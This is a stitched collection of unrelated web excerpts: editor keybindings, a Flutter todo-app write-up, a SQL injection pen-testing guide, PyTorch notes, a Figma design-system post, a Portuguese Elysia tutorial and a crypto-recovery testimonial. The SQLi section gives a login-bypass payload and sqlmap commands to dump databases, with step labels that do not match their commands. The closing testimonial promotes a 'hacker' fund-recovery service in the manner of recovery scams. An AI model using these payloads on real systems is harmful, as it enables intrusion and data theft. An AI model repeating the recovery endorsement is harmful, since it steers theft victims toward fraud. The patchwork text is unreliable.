* Sync: `shift` + `S`
* Update: `shift` + `U`
* Clear: `shift` + `X`
* Check: `shift` + `C`
* Log: `shift` + `L`
* Restore: `shift` + `R`
* Profile: `shift` + `P`
* Debug: `shift` + `D`
* Help: `shift` + `?`
ℹ️ It is recommended to run `:checkhealth lazy` after installation.

- **Project Name:** cit_dr_todos_app
- **Duration:** 12 hrs 39 mins
- **Team Members:** Solo
- **Objective:** Learn how to integrate multiple databases in the same project
## **Goals and Objectives**
- **Original Goals:** Learn how to integrate multiple databases in the same project using clean architecture
- **Were the Goals Met?:** Half of them, I was able to do the integration but I didn’t understand clean architecture at all, in fact the project feels really weird for me
## **Technical Overview**
- **Technologies Used:** Flutter, IsarDB, Supabase
- **Technical Challenges:** Integrate IsarDb and supabase in the same project
- **Solutions to Technical Challenges:** A mix of clean architecture and my own way of doing things
## **Lessons Learned**
- **What Went Well:** Achieve the goal of the project
- **What Could Have Gone Better:** The understanding of the architecture of the project
- **Improvements for Future Projects:** Learn more about clean code
## **Recommendations for Future Projects**
- **Recommended Changes in Tools and Technologies:** Adapting more of the clean code for future projects.
## Experience building the project
For this project I want to be able to swap between two databases, but without breaking the app, back then when I was taking a course about Flutter by Fernando Herrera, one of the things that I most remember of the course was the architecture or rather the folder structure of the project.
Having a `domain` , `infrastructure` or `presentation` folder was something new for me, learning about the `datasources`, `mappers` and `repositories` feels really weird at the beginning at least for me.
And to be complete honest, right now it’s one things that I still doesn’t understand at all, so I think that making a project about it will help me understand more about it. The stack for this project was flutter, the reason to choose flutter was:
1. I can look at the code of Fernando and see an example of the implementation
2. I want to make a mobile app.
### The project to be build
This app is really easy, it’s just a simple todo app, but with the difference that the tasks are stored in two differents databases one is `supabase` and the other is `isar db` a solution for flutter.
### Implementation of The app logic
The main part for the app to work are the datasources and the repositories.
### Datasources
How I understand what a datasources are, is the next concept:
> The origin of our data, maybe from an API, database, etc.
>
In the flutter project in the `domain/datasource` folder I create a file to show what the structure of my task datasource was. Something like this:
```dart
// domain/datasource/task_datasource.dart
abstract class TaskDataSource {
Future<List<Task>> getTasks();
Future<void> createTask({
String name,
bool completed,
});
Future<void> updateTask({
required Task? oldTask,
required Task? newTask,
});
Future<void> deleteTask(Task task);
}
```
Meanwhile in my folder `infrastructure/datasource` I define a file `task_datasource_impl` to be the one that extends the `task_datasource` after creating this file I added two files, one for isar db and other for supabase.
One of the things that I notice meanwhile writing this post was that I use the `task_datasource_impl` class instead of the `task_datasource` for my `isar` and `supabase` task_datasource.
For example let’s look at the `task_isar_datasource.dart`
```dart
class TaskIsarDataSource extends TaskDataSourceImpl {
@override
Future<void> createTask({String name = '', bool completed = false}) async {
final isar = await IsarConfig.init();
final task = TaskIsar()
..name = name
..completed = completed;
await isar.writeTxn(() async {
await isar.taskIsars.put(task);
});
}
@override
Future<void> deleteTask(Task task) async {
final isar = await IsarConfig.init();
final taskToDelete = TaskMapper.entityToTaskIsar(task);
await isar.writeTxn(() async {
await isar.taskIsars.delete(taskToDelete.id);
});
}
@override
Future<List<Task>> getTasks() async {
final isar = await IsarConfig.init();
final tasks = await isar.taskIsars.where().findAll();
final listOfTask =
tasks.map((task) => TaskMapper.taskIsarToEntity(task)).toList();
return Future(() => listOfTask);
}
@override
Future<void> updateTask({Task? oldTask, Task? newTask}) async {
if (oldTask == null || newTask == null) return Future(() {});
final isar = await IsarConfig.init();
await isar.writeTxn(() async {
final taskToUpdate = TaskMapper.entityToTaskIsar(newTask);
await isar.taskIsars.put(taskToUpdate);
});
}
}
```
So of course we are implementing the structure that our task datasource has, but the problem it’s that we are getting that from a impl file instead of the file inside the domain. So is one thing that I intend to improve in next projects.
> For those wondering how the supabase integration looks, here is a look at the file:
>
```dart
class TaskSupabaseDataSource extends TaskDataSourceImpl {
@override
Future<void> createTask({String name = '', bool completed = false}) async {
final task = Task(name: name, completed: completed, id: '0');
await Supabase.instance.client.from('task').insert(task.toJson());
print('supabase completed');
}
@override
Future<void> deleteTask(Task task) async {
await Supabase.instance.client.from('task').delete().eq('id', task.id);
}
@override
Future<List<Task>> getTasks() async {
final data = await Supabase.instance.client.from('task').select();
final tasks = data.map((e) => TaskMapper.fromJson(e)).toList();
return tasks;
}
@override
Future<void> updateTask({Task? oldTask, Task? newTask}) {
// TODO: implement updateTask
throw UnimplementedError();
}
}
```
### Repositories
What I understand about repositories is the next:
> They are a design pattern, basically we use them to abstract the access to the data of an application. This repositories has methods for getting information, inserting, deleting record for our data.
>
In the app I have a `TaskRepository` class for defining the actions that can be done within a task here is the code for the class:
```dart
abstract class TaskRepository {
Future<void> getTasks();
Future<void> createTask({String name = '', bool completed = false});
Future<void> updateTask({
required Task? oldTask,
required Task? newTask,
});
Future<void> deleteTask(Task task);
}
```
And in the `task_repository_impl.dart` I have the next code
```dart
class TaskRepositoryImpl extends TaskRepository {
final TaskDataSource dataSource;
TaskRepositoryImpl({TaskDataSource? dataSource})
: dataSource = dataSource ?? TaskDataSourceImpl();
@override
Future<void> createTask({String name = '', bool completed = false}) {
return dataSource.createTask(name: name, completed: completed);
}
@override
Future<void> deleteTask(Task task) {
return dataSource.deleteTask(task);
}
@override
Future<void> getTasks() {
return dataSource.getTasks();
}
@override
Future<void> updateTask({
required Task? oldTask,
required Task? newTask,
}) {
return dataSource.updateTask(oldTask: oldTask, newTask: newTask);
}
}
```
In the repository impl I use the methods inside the datasource passed to get the data and then return them to the user.
### How I use the repository on the UI
For using the repository on the UI (app) I use the statemanagment flutter bloc for handling which of the two datasources (isar or supabase) are active. This is the code for my `TaskCubit`
```dart
class TaskState {
final TaskDataSourceImpl dataSource;
final List<Task> taskList;
const TaskState({required this.dataSource, this.taskList = const []});
factory TaskState.empty() => TaskState(dataSource: TaskIsarDataSource());
TaskState copyWith({
TaskDataSourceImpl? dataSource,
List<Task>? taskList,
}) =>
TaskState(
dataSource: dataSource ?? this.dataSource,
taskList: taskList ?? this.taskList);
}
class TaskCubit extends Cubit<TaskState> {
TaskCubit() : super(TaskState.empty());
void getTasks() async {
final tasks = await state.dataSource.getTasks();
emit(state.copyWith(taskList: tasks));
}
void createTask(Task task) async {
await state.dataSource
.createTask(name: task.name, completed: task.completed);
getTasks();
}
void deleteTask(Task task) async {
await state.dataSource.deleteTask(task);
getTasks();
}
void updateDataSource(TaskDataSourceImpl dataSource) {
emit(state.copyWith(dataSource: dataSource));
}
}
```
Also I use a `data cubit` for handle the switch between the task datasource, here is the code for my cubit:
```dart
class DataState {
final TaskDataSourceImpl dataSource;
final bool onlineDB;
const DataState({
required this.dataSource,
required this.onlineDB,
});
factory DataState.empty() =>
DataState(dataSource: TaskIsarDataSource(), onlineDB: false);
DataState copyWith({TaskDataSourceImpl? dataSource, bool? onlineDB}) =>
DataState(
dataSource: dataSource ?? this.dataSource,
onlineDB: onlineDB ?? this.onlineDB);
}
class DataCubit extends Cubit<DataState> {
DataCubit() : super(DataState.empty());
void toggleState() async {
if (!state.onlineDB) {
emit(
state.copyWith(dataSource: TaskSupabaseDataSource(), onlineDB: true));
return;
}
emit(state.copyWith(dataSource: TaskIsarDataSource(), onlineDB: false));
}
}
```
And finally in my UI I have two buttons one for isar db and another for supabase.
> You should switch the datasources according if the user has internet connection or not, but in this case, I wanted to keep it simple.
>
```dart
// Some custom widgets that i use, the important part is the onTap method
CitCardItem(
current: dataCubit.state.onlineDB,
size: size,
icon: Icons.wifi_rounded,
name: 'Supabase connection',
onTap: () => dataCubit.toggleState(),
),
CitCardItem(
current: !dataCubit.state.onlineDB,
size: size,
icon: Icons.wifi_off_rounded,
name: 'Isar DB',
onTap: () => dataCubit.toggleState(),
),
```
### Final thoughts
I think this one a really good first approach to somethings like this, in the past I have never done somethings similar, so it was not just a interesting experience, but also this allow me to have guide to see what to learn, in future project I will be implementing more about this architecture and learning more about it. | caresle |

canonical_url: https://devtoys.io/2024/06/24/pen-testing-sql-injections/
---
In today’s digital age, SQL injections remain a prevalent threat to database security. As businesses increasingly rely on data-driven applications, understanding how to protect against SQL injections is crucial. This article will guide you through the fundamentals of SQL injection pen testing, complete with practical examples to help bolster your cybersecurity measures.
---
## What is SQL Injection?
SQL injection is a code injection technique that exploits vulnerabilities in an application’s software by inserting or “injecting” malicious SQL code. This code can manipulate the database, allowing attackers to bypass authentication, retrieve, alter, or delete data.
---
## Why Pen Test for SQL Injections?
Penetration testing (pen testing) for SQL injections is vital to identify and mitigate potential vulnerabilities before they can be exploited. This proactive approach helps safeguard sensitive information and ensures the integrity of your database.
---
## Preparing for a Pen Test
Before starting a pen test, it’s essential to have:
---
- **Legal Authorization**: Ensure you have explicit permission to test the target system.
- **Testing Environment**: Use a staging environment identical to the production setup.
- **Tools**: Common tools include SQLMap, Burp Suite, and manual testing techniques.
---
## Steps to Pen Test SQL Injections
## 1. Information Gathering
Start by understanding the application and identifying potential entry points. Common areas include:
- Login forms
- Search fields
- URL parameters
- User feedback forms
---
## 2. Identify Vulnerable Inputs
Use the following techniques to find vulnerable inputs:
- **Error-Based Injection:** Inject single quotes (‘) to see if the application returns an SQL error.
- **Union-Based Injection:** Use the UNION SQL operator to combine the results of two queries.
- **Boolean-Based Injection:** Inject SQL code that returns different results based on a true or false condition.
## Example:
For a login form with fields username and password, inject:
```sql
' OR 1=1 --
```
If the application logs you in without valid credentials, it’s likely vulnerable.
---
## 3. Exploiting SQL Injections
Once a vulnerability is confirmed, craft specific payloads to extract data. Here’s a step-by-step example using SQLMap:
Step 1: Identify the target URL with a vulnerable parameter.
```
http://example.com/login?username=admin&password=admin
```
Step 2: Run SQLMap against the URL.
```bash
sqlmap -u "http://example.com/login?username=admin&password=admin" --dbs
```
Step 3: Extract database names.
```bash
sqlmap -u "http://example.com/login?username=admin&password=admin" -D target_db --tables
```
Step 4: Extract table names.
```bash
sqlmap -u "http://example.com/login?username=admin&password=admin" -D target_db -T target_table --columns
```
Step 5: Extract column names.
```bash
sqlmap -u "http://example.com/login?username=admin&password=admin" -D target_db -T target_table -C target_column --dump
```

*Memos:
- I selected some popular `dtype` argument functions such as [tensor()](https://pytorch.org/docs/stable/generated/torch.tensor.html), [arange()](https://pytorch.org/docs/stable/generated/torch.arange.html), [rand()](https://pytorch.org/docs/stable/generated/torch.rand.html), [rand_like()](https://pytorch.org/docs/stable/generated/torch.rand_like.html), [zeros()](https://pytorch.org/docs/stable/generated/torch.zeros.html) and [zeros_like()](https://pytorch.org/docs/stable/generated/torch.zeros_like.html).
- `device`(Optional-Type:`int`, `str` or [device()](https://pytorch.org/docs/stable/tensor_attributes.html#torch.device)).
- If `device` is not given, the `device` of [set_default_device()](https://pytorch.org/docs/stable/generated/torch.set_default_device.html) is used.
- `cpu`, `cuda`, `ipu`, `xpu`, `mkldnn`, `opengl`, `opencl`, `ideep`, `hip`, `ve`, `fpga`, `ort`, `xla`, `lazy`, `vulkan`, `mps`, `meta`, `hpu`, `mtia` or `privateuseone` can be set to `device`.
- Setting `0` to `device` uses `cuda`(GPU). *The number must be zero or positive.
- Basically, `device=` is needed.
- [My post](https://dev.to/hyperkai/istensor-numel-and-device-in-pytorch-2eha) explains [device()](https://pytorch.org/docs/stable/tensor_attributes.html#torch-device).

## Open Sourcing My Design System
I'm open sourcing the Figma file I use to design and create images for my personal site.
It's right here, ready for you to explore: [mikebifulco.com Design System](https://www.figma.com/design/On4yRGLcYLORVBIhBejboA/mikebifulco.com?node-id=0-2431&t=XlKb5D0viU7DPV4T-1).
This giant file contains almost all the images I've ever published on [mikebifulco.com](https://mikebifulco.com), meticulously organized and ready for you to explore.
## What's Inside?
First off, what's in the Figma file? Here's the rundown:
1. **Brand Assets:** Logos, lockups, and even mockups for email components like ad placements and CTAs
1. **Full Articles:** Header and body images for tutorials, essays, and other long-form content
1. **Newsletters:** Every image for every one of my newsletters, including the one you're reading right now
1. **Videos:** Thumbnails for all my videos
The images I use go a long way in helping me communicate my ideas, and in getting people to click through to my articles. I take the time to create a unique Open Graph Header image for every article I write, so that each one stands out on social media.
I've spent a lot of time over the years organizing, refining, and refining this system, and I'm excited to share it with you.
## Why Open Source This?
The point of open-sourcing this Figma file is simple: there's nothing magical here. I'm not doing anything you can't do. Heck, the source code for the rest of my site is publicly viewable as well on github ([mbifulco/blog](https://github.com/mbifulco/blog)), so this is a perfect pairing.
Having a system like this helps every article I write stand out a bit more. And I hope it can help you too.
### A Tool for Efficiency
One of the biggest advantages of having everything organized in Figma is that it makes publishing easy. I've created a toolkit for myself that minimizes decision fatigue.
Need a header image for a new article? There's a template for that. Newsletter? Ditto. This means I can publish content faster without getting bogged down by the details every single time.
### Stay Organized
This file keeps me organized. If I need to add, remove, or edit anything in the future, I can come back to this file and do it seamlessly. No more hunting around for that one logo or header image from two years ago.
### Opportunity for more
My hope is that by sharing this publicly, I'll be keeping myself accountable. This figma file is the foundation of what will eventually become a full-blown design system.
If you've dabbled in design systems before, you'll notice It's missing some critical pieces, like specific color selections and layout mockups, but hey, it's a work in progress.
## The Epiphany
Last week, I hit a milestone: nearly 70 published newsletters and 60 full articles. That's when it hit me—sharing this file might inspire you to create your own system. So here it is, for you to poke around and hopefully find some inspiration.
Check out the Figma file here: [mikebifulco.com Design System](https://www.figma.com/design/On4yRGLcYLORVBIhBejboA/mikebifulco.com?node-id=0-2431&t=XlKb5D0viU7DPV4T-1). Explore it, use it, heck, feel free to model your own after it.
And as always, let me know what you think - hit reply and let me know if you have any questions or feedback.

1,899,408 | Elysia: A Revolução dos Servidores Web com TypeScript | A tecnologia evolui constantemente, trazendo novas ferramentas que simplificam o desenvolvimento e... | 0 | 2024-06-24T23:50:43 | https://dev.to/iamthiago/elysia-a-revolucao-dos-servidores-web-com-typescript-3kpm | webdev, node, typescript, discuss | A tecnologia evolui constantemente, trazendo novas ferramentas que simplificam o desenvolvimento e aprimoram a performance. Entre as mais recentes inovações no universo de desenvolvimento web, surge o Elysia, um framework de servidores web que está conquistando espaço com sua eficiência e simplicidade, especialmente para desenvolvedores que utilizam TypeScript. Neste artigo, vamos explorar o que é o Elysia, seus principais benefícios, e por que você deve considerá-lo para seu próximo projeto.
#### O Que é Elysia?
Elysia é um framework de servidor web minimalista, projetado para ser extremamente leve e rápido. Ele é escrito em TypeScript, oferecendo uma experiência de desenvolvimento otimizada para quem já utiliza essa linguagem. O objetivo do Elysia é fornecer uma alternativa simplificada e de alta performance para frameworks mais tradicionais como Express.js e Koa.
#### Principais Benefícios do Elysia
1. **Performance Inigualável**: Um dos principais atrativos do Elysia é sua performance. Graças à sua arquitetura minimalista, ele consegue lidar com um grande número de requisições por segundo, superando muitos frameworks populares.
2. **Simplicidade e Minimalismo**: Elysia foi criado com a filosofia de manter as coisas simples. Sua API é intuitiva, facilitando o processo de desenvolvimento e permitindo que os desenvolvedores se concentrem na lógica de negócio em vez de detalhes de configuração complexos.
3. **TypeScript Nativo**: Como é escrito em TypeScript, Elysia oferece suporte completo a esta linguagem, incluindo tipagem estática e recursos avançados do TypeScript, o que resulta em um código mais seguro e fácil de manter.
4. **Modularidade**: Elysia adota uma abordagem modular, permitindo que os desenvolvedores adicionem apenas os componentes necessários para seus projetos. Isso resulta em aplicações mais leves e de melhor performance.
5. **Comunidade e Documentação**: Apesar de ser uma ferramenta relativamente nova, Elysia já conta com uma comunidade ativa e uma documentação bem elaborada, facilitando o aprendizado e a resolução de problemas.
#### Começando com Elysia
Para começar a usar o Elysia, basta seguir alguns passos simples:
1. **Instalação**:
```bash
npm install elysia
```
2. **Criação de um Servidor Básico**:
```typescript
import { Elysia } from 'elysia';
const app = new Elysia();
app.get('/', () => 'Hello, Elysia!');
app.listen(3000, () => {
console.log('Server is running on http://localhost:3000');
});
```
3. **Execução**:
```bash
ts-node index.ts
```
Com essas etapas simples, você já tem um servidor Elysia funcional. A partir daí, você pode expandir sua aplicação conforme necessário, aproveitando a flexibilidade e a performance do framework.
#### Casos de Uso e Exemplos
Elysia é ideal para uma variedade de aplicações, desde APIs RESTful simples até aplicações web complexas. Sua eficiência e facilidade de uso o tornam uma excelente escolha para startups e projetos que necessitam de uma solução rápida e robusta.
#### Conclusão
Elysia é uma adição bem-vinda ao ecossistema de desenvolvimento web, oferecendo uma combinação de simplicidade, performance e suporte nativo ao TypeScript. Se você está buscando uma alternativa leve e eficiente para frameworks de servidores web tradicionais, vale a pena dar uma chance ao Elysia.

But the tides have finally turned, as an elite team of cybersecurity experts and blockchain analysts, known as the "Cyber Genie Hack Pro" has managed to track down and recover money from these hackers and fake crypto exchanges. The operation was a masterclass in high-tech sleuthing, with the team painstakingly tracing the complex web of anonymous transactions and shell companies used by the Bitcoin Bandit to hide his tracks. Through advanced forensic blockchain analysis, intelligent pattern recognition, and sheer dogged determination, they could follow the digital breadcrumbs back to the hacker's secret lair. Once the crypto bandit's identity and location were uncovered, a carefully coordinated sting operation was launched, catching the unsuspecting criminal off guard and allowing authorities to seize every last satoshi of his ill-gotten gains. This landmark victory is a major win not just for the victims who will be compensated, but for the entire cryptocurrency community, sending a clear message that even the wiliest cyber-thieves cannot evade justice forever. The "Cyber Genie Hack Pro" team has proven that with enough skill, resources, and perseverance, even the most sophisticated digital heists can be unraveled and the stolen funds returned to their rightful owners. I was a victim of crypto theft, and having given "Cyber genie hack pro" the chance to help, I was glad they did as they promised me. I just wanted to let you know that this professional hacker and private investigators team is always on standby to help you.
